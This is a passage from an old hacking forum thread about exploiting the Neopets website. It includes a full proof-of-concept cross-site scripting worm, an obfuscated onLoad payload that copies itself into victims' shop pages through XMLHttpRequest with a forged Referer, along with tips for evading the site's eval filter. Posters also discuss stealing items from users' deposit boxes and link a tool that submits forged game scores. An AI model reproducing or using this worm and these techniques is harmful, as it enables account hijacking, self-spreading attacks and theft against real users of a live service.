AJAX to request data from the user's safety deposit box
(or do a search of it for specifics) and then withdraw
items, and then use AJAX again to make the user give
the item to you, but the possibilities with these
exploits is limitless, use your imagination!

Probably the most interesting thing to write would be
a worm which changed users' shop pages to reproduce
itself (since you need a password to edit the user
profile). Now, I have been able to create a 'working'
version, in that it worked some of the time. What it
did was load an iframe, which was the actual edit page,
filled in the form data (and it recoded itself by
extracting its own code form the DOM), and submited it.
Now the problem here was that wuite often the fact that
the code was residing in the onFocus attribute, and
keptgetting called repetedly, and it was constantly
loading iframes caused it to crash the browser as often
as it would work, so I decided it wasn't a viable
alternative (though I haven't been able to create
better, so if anyone is set on doing that, then go
nuts, it works sometimes). The reason I needed an
iframe was because the processing page checked the
referer to make sure it was getting submitted to from
the editing page, so while its easy to spoof on your
own machine, forcing the victim's browser to spoof it
is much trickier, hence the iframe. I also had the idea
of using the $_REQUEST vulnerability outlined above,
in terms of writing the iframe, but instead of editing
the form and submitting it, but simply sending the data
via GET, it didn't work, for the reason outlined in the
section on $_REQUEST above.


-------------------------------------------------------

Written and coded by kuza55



#8 Apage43

Apage43

    Private First Class

  • Members
  • 23 posts

Posted 16 January 2006 - 05:34 PM

Best neopets exploit ever, ri'ght'chere:
http://echeese.box43.net/neo.php
echeese reverse engineered the encryption in the flash games, so you can take the url of the swf file from the flash page to get the stuff to put in the boxes on that page, and it'll give you a url you can put in your browser to send a spoofed score, so you can make it think you played the game even though you didn't.
He did this a while back, it might not still work. I haven't played neopets in forever.
I did have a version of this I took and made into a gui app that did all of it for you, you just put in the username, pass, url of the game, and desired score but I lost it.
http://apage43.box43.net/neotool.php <-- This is just a webified interface to the reverse engineered encryption, which we were using as we figured out the format of the actual encrypted data

#9 rpm

rpm

    Private First Class

  • Members
  • 95 posts

Posted 19 January 2006 - 03:47 PM

Mmm, I do wonder if these methods still work...

Apage: Does that still work? I'd like to know how the encryption was cracked.

#10 kuza55

kuza55

    Corporal

  • Members
  • 161 posts

Posted 19 January 2006 - 04:36 PM

Mmm, I do wonder if these methods still work...

Well, what I posted worked as of 4 days ago (I only finished writing it then dammit), and knowing neopets it should still be working, and even if slight modifications to the filter have been added, there are still a few things that canbe done even if they change things up a bit (like properly blocking eval()), so yeah, they *should* still work....

#11 bofia

bofia

    Private

  • Members
  • 7 posts

Posted 04 February 2006 - 12:50 AM

how would you bypass the eval filter? i dont think theres anymore ways to put a string together

#12 kuza55

kuza55

    Corporal

  • Members
  • 161 posts

Posted 04 February 2006 - 01:15 AM

<disclaimer>
I am NOT reponsible for what you do with the information in this post, it is provided for educational purposes only
</disclaimer>

how would you bypass the eval filter? i dont think theres anymore ways to put a string together

Ok, since I last posted Neopets has blocked the XSS hole I had been using before, but there are still many others which work including the exploit that works for PHPBB 2.0.18/19 HTML parser, aaaanyway...

There are lots of ways to get past the eval() filter (which has now been fixed in regards to simply needing to put a space in), the easiest of which is to simply put some bogus data inside Javascript comments between the function name and the parenthesese, but there are still more ways....So yeah, this really shows how important perimeter security (loose definition here, :P) is, even in todays world.....

Also I want to say that the last bit of my last 'advisory' or whatever you wan tot call it, had some misleading stuff about the capabilities of the XMLHTTPRequest object (I had, sadly, been misinformed by a friend), in that i found out you *can* actually send request headers (like Referer) via the object, so I went and wrote the worm using the object, it can spread as long as the browser is enabled to allow the XMLHTTPRequest object (i.e. you need to be able to create ActiveX objects in IE, it should work fine in all other browsers), I'm working on getting IE to simply create an IFRAME, but thats on the backburner atm, so here's the PoC worm:
<body id=w0rm C=">" onLoad="var x = 'return ';
var y = x.concat ('win');
var x = x.concat ('doc');
var y = y.concat ('dow;');
var x = x.concat ('ument;');
var doc = new Function (x);
var win = new Function (y);
function r(){}
var a = doc();
var w = win();
var c = 'write';
var e = 'getElem';
e = e.concat('entById');
var b = a[e] ('w0rm');
var myString = unescape('<body id=w0rm C=%22>%22 onLoad=%22');
myString = myString.concat(b.getAttribute('onLoad'));
myString = myString.concat(unescape('%22>'));
var ref = 'htt';
ref = ref.concat ('p://');
ref = ref.concat(a.domain);
var m = ref.concat('/process_neofriend_requests.phtml?dowhat=add_single_neofriend&neofriend_add=');
//add your name here, this will help you keep track of who's shop is getting hit and who's is not.....
ref = ref.concat('/market.phtml?type=edit');
url = '/process_market.phtml';
var params = unescape('shop_name=My%2Shop&shop_world=0&remLen=4000&shopkeeper_picture=910&transparent=on
&shopkeeper_name=kuza55&shopkeeper_greeting=Welcome....&description=');
//the above lines was split so as not to make the post larger than the forum width,
//so the forums don't look screwy, put it back together when you're using it
params = params.concat(escape(myString));
h = false;
if (w.XMLHttpRequest){
  h = new XMLHttpRequest();
} else if (w.ActiveXObject) {
  try {
	h = new ActiveXObject('Msxml2.XMLHTTP');
  } catch (e) {
	try {
	  h = new ActiveXObject('Microsoft.XMLHTTP');
	} catch (e) {}
  }
}
if (h) {
  h.onreadystatechange = r;
  h.open('POST', url, true);
  h.setRequestHeader('Referer', ref);
  h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  h.setRequestHeader('Content-length', params.length);
  h.setRequestHeader('Connection', 'close');
  h.send(params); 
}
var j = 'sr';  j = j.concat('c');
var funct = 'getElements';
funct = funct.concat('ByTagName');
var as = a[funct] ('IMG');
">
It can and probably should be refined, but yeah....essentially that works.....

And yes the worm does use a different technique than eval, but it does pretty much the same thing...

Another way I think you could do something similar to eval() would be to create a string, and then use type-casting to change it to a function, but I haven't played with that yet, so I'm not sure if its possible....

And if you're wondering why I was using the exploit code that I found in a PHPBB advisory; well, its much less likely to get blocked soon by neopets, since its more complex than other holes, a nice reference for XSS holes can be found here: http://ha.ckers.org/xss.html (Its not complete, but its much more complete than any other list I've found).....

Edited by kuza55, 04 February 2006 - 01:26 AM.


#13 bofia

bofia

    Private

  • Members
  • 7 posts

Posted 04 February 2006 - 02:19 AM

how would make it buy say a sludge
the xhs variable always changes

#14 sarkar112

sarkar112

    Staff Sergeant

  • Sergeant Major
  • 340 posts

Posted 06 February 2006 - 03:18 PM

None of these even work now.
Neopets is highy vulnerable
The administrators do very little
to keep the site secure
All they even do is "freeze" user accounts
When you sign up
you agree to the Terms and Conditions,
EULA or something legally
preventing you from exploiting the site
And neopets is a useless game
there is no point,
in exploiting it.

"The quieter you become, the more you can hear." -Baba Ram Dass
PGP: 0x6C767D75

#15 John

John

    Corporal

  • Members
  • 178 posts

Posted 06 February 2006 - 03:36 PM

None of these even work now.
Neopets is highy vulnerable
The administrators do very little
to keep the site secure
All they even do is "freeze" user accounts
When you sign up
you agree to the Terms and Conditions,
EULA or something legally
preventing you from exploiting the site
And neopets is a useless game
there is no point,
in exploiting it.


I disagree man this is a great place for beginers to test there stuff :)




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users